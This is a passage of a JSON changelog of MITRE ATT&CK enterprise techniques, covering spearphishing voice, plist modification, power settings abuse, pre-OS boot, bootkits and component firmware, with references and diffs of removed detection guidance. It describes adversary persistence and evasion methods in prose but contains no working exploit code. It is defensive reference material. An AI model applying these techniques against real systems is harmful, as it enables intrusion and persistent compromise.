"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0015: Application Log (Application Log Content)",
"DS0022: File (File Creation)",
"DS0029: Network Traffic (Network Traffic Content)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0236: Detection Strategy for Spearphishing Attachment across OS Platforms"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--bb5e59c4-abe7-40c7-8196-e373cb1e5974",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2023-09-07 21:50:08.827000+00:00",
"modified": "2025-07-02 18:06:37.932000+00:00",
"name": "Spearphishing Voice",
"description": "Adversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient.\n\nAll forms of phishing are electronically delivered social engineering. In this scenario, adversaries are not directly sending malware to a victim vice relying on [User Execution](https://attack.mitre.org/techniques/T1204) for delivery and execution. For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools ([Remote Access Tools](https://attack.mitre.org/techniques/T1219)) onto their computer.(Citation: Unit42 Luna Moth)\n\nAdversaries may also combine voice phishing with [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621) in order to trick users into divulging MFA credentials or accepting authentication prompts.(Citation: Proofpoint Vishing)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "initial-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1566/004",
"external_id": "T1566.004"
},
{
"source_name": "CISA Remote Monitoring and Management Software",
"description": "CISA. (n.d.). Protecting Against Malicious Use of Remote Monitoring and Management Software. Retrieved February 2, 2023.",
"url": "https://www.cisa.gov/uscert/ncas/alerts/aa23-025a"
},
{
"source_name": "Unit42 Luna Moth",
"description": "Kristopher Russo. (n.d.). Luna Moth Callback Phishing Campaign. Retrieved February 2, 2023.",
"url": "https://unit42.paloaltonetworks.com/luna-moth-callback-phishing/"
},
{
"source_name": "sygnia Luna Month",
"description": "Oren Biderman, Tomer Lahiyani, Noam Lifshitz, Ori Porag. (n.d.). LUNA MOTH: THE THREAT ACTORS BEHIND RECENT FALSE SUBSCRIPTION SCAMS. Retrieved February 2, 2023.",
"url": "https://blog.sygnia.co/luna-moth-false-subscription-scams"
},
{
"source_name": "Proofpoint Vishing",
"description": "Proofpoint. (n.d.). What Is Vishing?. Retrieved September 8, 2023.",
"url": "https://www.proofpoint.com/us/threat-reference/vishing"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows",
"Identity Provider"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-07-02 18:06:37.932000+00:00\", \"old_value\": \"2025-04-15 19:59:02.243000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient.\\n\\nAll forms of phishing are electronically delivered social engineering. In this scenario, adversaries are not directly sending malware to a victim vice relying on [User Execution](https://attack.mitre.org/techniques/T1204) for delivery and execution. For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools ([Remote Access Tools](https://attack.mitre.org/techniques/T1219)) onto their computer.(Citation: Unit42 Luna Moth)\\n\\nAdversaries may also combine voice phishing with [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621) in order to trick users into divulging MFA credentials or accepting authentication prompts.(Citation: Proofpoint Vishing)\", \"old_value\": \"Adversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that is employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient.\\n\\nAll forms of phishing are electronically delivered social engineering. In this scenario, adversaries are not directly sending malware to a victim vice relying on [User Execution](https://attack.mitre.org/techniques/T1204) for delivery and execution. For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools ([Remote Access Tools](https://attack.mitre.org/techniques/T1219)) onto their computer.(Citation: Unit42 Luna Moth)\\n\\nAdversaries may also combine voice phishing with [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621) in order to trick users into divulging MFA credentials or accepting authentication prompts.(Citation: Proofpoint Vishing)\", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that is employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient.\\n+Adversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient.\\n \\n All forms of phishing are electronically delivered social engineering. In this scenario, adversaries are not directly sending malware to a victim vice relying on [User Execution](https://attack.mitre.org/techniques/T1204) for delivery and execution. For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools ([Remote Access Tools](https://attack.mitre.org/techniques/T1219)) onto their computer.(Citation: Unit42 Luna Moth)\\n \"}}}",
"previous_version": "1.2",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use voice communications to ultimately gain | t | 1 | Adversaries may use voice communications to ultimately gain |
| > | access to victim systems. Spearphishing voice is a specific | > | access to victim systems. Spearphishing voice is a specific | ||
| > | variant of spearphishing. It is different from other forms o | > | variant of spearphishing. It is different from other forms o | ||
| > | f spearphishing in that is employs the use of manipulating a | > | f spearphishing in that it employs the use of manipulating a | ||
| > | user into providing access to systems through a phone call | > | user into providing access to systems through a phone call | ||
| > | or other forms of voice communications. Spearphishing freque | > | or other forms of voice communications. Spearphishing freque | ||
| > | ntly involves social engineering techniques, such as posing | > | ntly involves social engineering techniques, such as posing | ||
| > | as a trusted source (ex: [Impersonation](https://attack.mitr | > | as a trusted source (ex: [Impersonation](https://attack.mitr | ||
| > | e.org/techniques/T1656)) and/or creating a sense of urgency | > | e.org/techniques/T1656)) and/or creating a sense of urgency | ||
| > | or alarm for the recipient. All forms of phishing are elect | > | or alarm for the recipient. All forms of phishing are elect | ||
| > | ronically delivered social engineering. In this scenario, ad | > | ronically delivered social engineering. In this scenario, ad | ||
| > | versaries are not directly sending malware to a victim vice | > | versaries are not directly sending malware to a victim vice | ||
| > | relying on [User Execution](https://attack.mitre.org/techniq | > | relying on [User Execution](https://attack.mitre.org/techniq | ||
| > | ues/T1204) for delivery and execution. For example, victims | > | ues/T1204) for delivery and execution. For example, victims | ||
| > | may receive phishing messages that instruct them to call a p | > | may receive phishing messages that instruct them to call a p | ||
| > | hone number where they are directed to visit a malicious URL | > | hone number where they are directed to visit a malicious URL | ||
| > | , download malware,(Citation: sygnia Luna Month)(Citation: C | > | , download malware,(Citation: sygnia Luna Month)(Citation: C | ||
| > | ISA Remote Monitoring and Management Software) or install ad | > | ISA Remote Monitoring and Management Software) or install ad | ||
| > | versary-accessible remote management tools ([Remote Access T | > | versary-accessible remote management tools ([Remote Access T | ||
| > | ools](https://attack.mitre.org/techniques/T1219)) onto their | > | ools](https://attack.mitre.org/techniques/T1219)) onto their | ||
| > | computer.(Citation: Unit42 Luna Moth) Adversaries may also | > | computer.(Citation: Unit42 Luna Moth) Adversaries may also | ||
| > | combine voice phishing with [Multi-Factor Authentication Re | > | combine voice phishing with [Multi-Factor Authentication Re | ||
| > | quest Generation](https://attack.mitre.org/techniques/T1621) | > | quest Generation](https://attack.mitre.org/techniques/T1621) | ||
| > | in order to trick users into divulging MFA credentials or a | > | in order to trick users into divulging MFA credentials or a | ||
| > | ccepting authentication prompts.(Citation: Proofpoint Vishin | > | ccepting authentication prompts.(Citation: Proofpoint Vishin | ||
| > | g) | > | g) |
info.plist file, to store properties and configuration settings that inform the operating system how to handle the application at runtime. Plist files are structured metadata in key-value pairs formatted in XML based on Apple's Core Foundation DTD. Plist files can be saved in text or binary format.(Citation: fileinfo plist file description) \n\nAdversaries can modify key-value pairs in plist files to influence system behaviors, such as hiding the execution of an application (i.e. [Hidden Window](https://attack.mitre.org/techniques/T1564/003)) or running additional commands for persistence (ex: [Launch Agent](https://attack.mitre.org/techniques/T1543/001)/[Launch Daemon](https://attack.mitre.org/techniques/T1543/004) or [Re-opened Applications](https://attack.mitre.org/techniques/T1547/007)).\n\nFor example, adversaries can add a malicious application path to the `~/Library/Preferences/com.apple.dock.plist` file, which controls apps that appear in the Dock. Adversaries can also modify the LSUIElement key in an application\u2019s info.plist file to run the app in the background. Adversaries can also insert key-value pairs to insert environment variables, such as LSEnvironment, to enable persistence via [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006).(Citation: wardle chp2 persistence)(Citation: eset_osx_flashback)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1647",
"external_id": "T1647"
},
{
"source_name": "eset_osx_flashback",
"description": "ESET. (2012, January 1). OSX/Flashback. Retrieved April 19, 2022.",
"url": "https://www.welivesecurity.com/wp-content/uploads/200x/white-papers/osx_flashback.pdf"
},
{
"source_name": "fileinfo plist file description",
"description": "FileInfo.com team. (2019, November 26). .PLIST File Extension. Retrieved October 12, 2021.",
"url": "https://fileinfo.com/extension/plist"
},
{
"source_name": "wardle chp2 persistence",
"description": "Patrick Wardle. (2022, January 1). The Art of Mac Malware Volume 0x1:Analysis. Retrieved April 19, 2022.",
"url": "https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"macOS"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:00.573000+00:00\", \"old_value\": \"2025-04-15 22:57:13.867000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for common command-line editors used to modify plist files located in auto-run locations, such as \\\\~/LaunchAgents, ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm, and an application's Info.plist. \\n\\nMonitor for plist file modification immediately followed by code execution from \\\\~/Library/Scripts and ~/Library/Preferences. Also, monitor for significant changes to any path pointers in a modified plist.\\n\\nIdentify new services executed from plist modified in the previous user's session. \", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor for common command-line editors used to modify plist files located in auto-run locations, such as \\\\~/LaunchAgents, ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm, and an application's Info.plist. \\n-\\n-Monitor for plist file modification immediately followed by code execution from \\\\~/Library/Scripts and ~/Library/Preferences. Also, monitor for significant changes to any path pointers in a modified plist.\\n-\\n-Identify new services executed from plist modified in the previous user's session. \"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [
"M1013: Application Developer Guidance"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0109: Detection Strategy for Plist File Modification (T1647)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--ea071aa0-8f17-416f-ab0d-2bab7e79003d",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2023-06-05 15:52:52.467000+00:00",
"modified": "2025-10-24 17:49:33.435000+00:00",
"name": "Power Settings",
"description": "Adversaries may impair a system's ability to hibernate, reboot, or shut down in order to extend access to infected machines. When a computer enters a dormant state, some or all software and hardware may cease to operate which can disrupt malicious activity.(Citation: Sleep, shut down, hibernate)\n\nAdversaries may abuse system utilities and configuration settings to maintain access by preventing machines from entering a state, such as standby, that can terminate malicious activity.(Citation: Microsoft: Powercfg command-line options)(Citation: systemdsleep Linux)\n\nFor example, `powercfg` controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.(Citation: Two New Monero Malware Attacks Target Windows and Android Users) Adversaries may also extend system lock screen timeout settings.(Citation: BATLOADER: The Evasive Downloader Malware) Other relevant settings, such as disk and hibernate timeout, can be similarly abused to keep the infected machine running even if no user is active.(Citation: CoinLoader: A Sophisticated Malware Loader Campaign)\n\nAware that some malware cannot survive system reboots, adversaries may entirely delete files used to invoke system shut down or reboot.(Citation: Condi-Botnet-binaries)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1653",
"external_id": "T1653"
},
{
"source_name": "Sleep, shut down, hibernate",
"description": "AVG. (n.d.). Should You Shut Down, Sleep or Hibernate Your PC or Mac Laptop?. Retrieved June 8, 2023.",
"url": "https://www.avg.com/en/signal/should-you-shut-down-sleep-or-hibernate-your-pc-or-mac-laptop"
},
{
"source_name": "CoinLoader: A Sophisticated Malware Loader Campaign",
"description": "Avira. (2019, November 28). CoinLoader: A Sophisticated Malware Loader Campaign. Retrieved June 5, 2023.",
"url": "https://www.avira.com/en/blog/coinloader-a-sophisticated-malware-loader-campaign"
},
{
"source_name": "BATLOADER: The Evasive Downloader Malware",
"description": "Bethany Hardin, Lavine Oluoch, Tatiana Vollbrecht. (2022, November 14). BATLOADER: The Evasive Downloader Malware. Retrieved June 5, 2023.",
"url": "https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html"
},
{
"source_name": "Two New Monero Malware Attacks Target Windows and Android Users",
"description": "Douglas Bonderud. (2018, September 17). Two New Monero Malware Attacks Target Windows and Android Users. Retrieved June 5, 2023.",
"url": "https://securityintelligence.com/news/two-new-monero-malware-attacks-target-windows-and-android-users/"
},
{
"source_name": "Condi-Botnet-binaries",
"description": "Joie Salvio and Roy Tay. (2023, June 20). Condi DDoS Botnet Spreads via TP-Link's CVE-2023-1389. Retrieved September 5, 2023.",
"url": "https://www.fortinet.com/blog/threat-research/condi-ddos-botnet-spreads-via-tp-links-cve-2023-1389"
},
{
"source_name": "systemdsleep Linux",
"description": "Man7. (n.d.). systemd-sleep.conf(5) \u2014 Linux manual page. Retrieved June 7, 2023.",
"url": "https://man7.org/linux/man-pages/man5/systemd-sleep.conf.5.html"
},
{
"source_name": "Microsoft: Powercfg command-line options",
"description": "Microsoft. (2021, December 15). Powercfg command-line options. Retrieved June 5, 2023.",
"url": "https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/powercfg-command-line-options?adlt=strict"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Menachem Goldstein",
"Juan Tapiador"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"Linux",
"macOS",
"Network Devices"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:33.435000+00:00\", \"old_value\": \"2025-04-15 19:59:18.299000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Command-line invocation of tools capable of modifying services may be unusual and can be monitored for and alerted on, depending on how systems are typically used in a particular environment. \\n\", \"diff\": \"--- \\n+++ \\n@@ -1 +0,0 @@\\n-Command-line invocation of tools capable of modifying services may be unusual and can be monitored for and alerted on, depending on how systems are typically used in a particular environment. \"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0017: Command (Command Execution)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0417: Detection Strategy for Power Settings Abuse"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2019-11-13 14:44:49.439000+00:00",
"modified": "2025-10-24 17:49:01.466000+00:00",
"name": "Pre-OS Boot",
"description": "Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting)\n\nAdversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1542",
"external_id": "T1542"
},
{
"source_name": "ITWorld Hard Disk Health Dec 2014",
"description": "Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved November 17, 2024.",
"url": "https://www.computerworld.com/article/1484887/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html"
},
{
"source_name": "Wikipedia Booting",
"description": "Wikipedia. (n.d.). Booting. Retrieved November 13, 2019.",
"url": "https://en.wikipedia.org/wiki/Booting"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"Network Devices",
"Windows",
"macOS"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Drive: Drive Modification\", \"File: File Modification\", \"Network Traffic: Network Connection Creation\", \"File: File Creation\", \"Process: OS API Execution\", \"Driver: Driver Metadata\", \"Command: Command Execution\", \"Firmware: Firmware Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:01.466000+00:00\", \"old_value\": \"2025-04-15 19:58:45.876000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes. Take snapshots of boot records and firmware and compare against known good images. Log changes to boot records, BIOS, and EFI, which can be performed by API calls, and compare against known good behavior and patching.\\n\\nDisk check, forensic utilities, and data from device drivers (i.e. processes and API calls) may reveal anomalies that warrant deeper investigation.(Citation: ITWorld Hard Disk Health Dec 2014)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes. Take snapshots of boot records and firmware and compare against known good images. Log changes to boot records, BIOS, and EFI, which can be performed by API calls, and compare against known good behavior and patching.\\n-\\n-Disk check, forensic utilities, and data from device drivers (i.e. processes and API calls) may reveal anomalies that warrant deeper investigation.(Citation: ITWorld Hard Disk Health Dec 2014)\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [
"M1026: Privileged Account Management",
"M1035: Limit Access to Resource Over Network",
"M1046: Boot Integrity",
"M1047: Audit",
"M1051: Update Software"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0001: Firmware (Firmware Modification)",
"DS0009: Process (OS API Execution)",
"DS0016: Drive (Drive Modification)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)",
"DS0027: Driver (Driver Metadata)",
"DS0029: Network Traffic (Network Connection Creation)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0278: Detection Strategy for T1542 Pre-OS Boot"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2019-12-19 21:05:38.123000+00:00",
"modified": "2025-10-24 17:48:28.341000+00:00",
"name": "Bootkit",
"description": "Adversaries may use bootkits to persist on systems. A bootkit is a malware variant that modifies the boot sectors of a hard drive, allowing malicious code to execute before a computer's operating system has loaded. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\nIn BIOS systems, a bootkit may modify the Master Boot Record (MBR) and/or Volume Boot Record (VBR).(Citation: Mandiant M Trends 2016) The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code.(Citation: Lau 2011)\n\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.\n\nIn UEFI (Unified Extensible Firmware Interface) systems, a bootkit may instead create or modify files in the EFI system partition (ESP). The ESP is a partition on data storage used by devices containing UEFI that allows the system to boot the OS and other utilities used by the system. An adversary can use the newly created or patched files in the ESP to run malicious kernel code.(Citation: Microsoft Security)(Citation: welivesecurity)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1542/003",
"external_id": "T1542.003"
},
{
"source_name": "Lau 2011",
"description": "Lau, H. (2011, August 8). Are MBR Infections Back in Fashion? (Infographic). Retrieved November 13, 2014.",
"url": "http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion"
},
{
"source_name": "Mandiant M Trends 2016",
"description": "Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved November 17, 2024.",
"url": "https://web.archive.org/web/20211024160454/https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf"
},
{
"source_name": "welivesecurity",
"description": "Martin Smol\u00e1r. (2023, March 1). BlackLotus UEFI bootkit: Myth confirmed. Retrieved February 11, 2025.",
"url": "https://www.welivesecurity.com/2023/03/01/blacklotus-uefi-bootkit-myth-confirmed/"
},
{
"source_name": "Microsoft Security",
"description": "Microsoft Incident Response. (2023, April 11). Guidance for investigating attacks using CVE-2022-21894: The BlackLotus campaign. Retrieved February 12, 2025.",
"url": "https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Drive: Drive Modification\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:28.341000+00:00\", \"old_value\": \"2025-04-15 19:58:10.739000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1026: Privileged Account Management",
"M1046: Boot Integrity"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0016: Drive (Drive Modification)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0150: Detection Strategy for File Creation or Modification of Boot Files"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--791481f8-e96a-41be-b089-a088763083d4",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2019-12-19 20:21:21.669000+00:00",
"modified": "2025-10-24 17:48:59.147000+00:00",
"name": "Component Firmware",
"description": "Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted upon other system components/devices that may not have the same capability or level of integrity checking.\n\nMalicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1542/002",
"external_id": "T1542.002"
},
{
"source_name": "ITWorld Hard Disk Health Dec 2014",
"description": "Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved November 17, 2024.",
"url": "https://www.computerworld.com/article/1484887/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html"
},
{
"source_name": "SanDisk SMART",
"description": "SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology (S.M.A.R.T.). Retrieved October 2, 2018."
},
{
"source_name": "SmartMontools",
"description": "smartmontools. (n.d.). smartmontools. Retrieved October 2, 2018.",
"url": "https://www.smartmontools.org/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"Linux",
"macOS"
],
"x_mitre_version": "1.2",
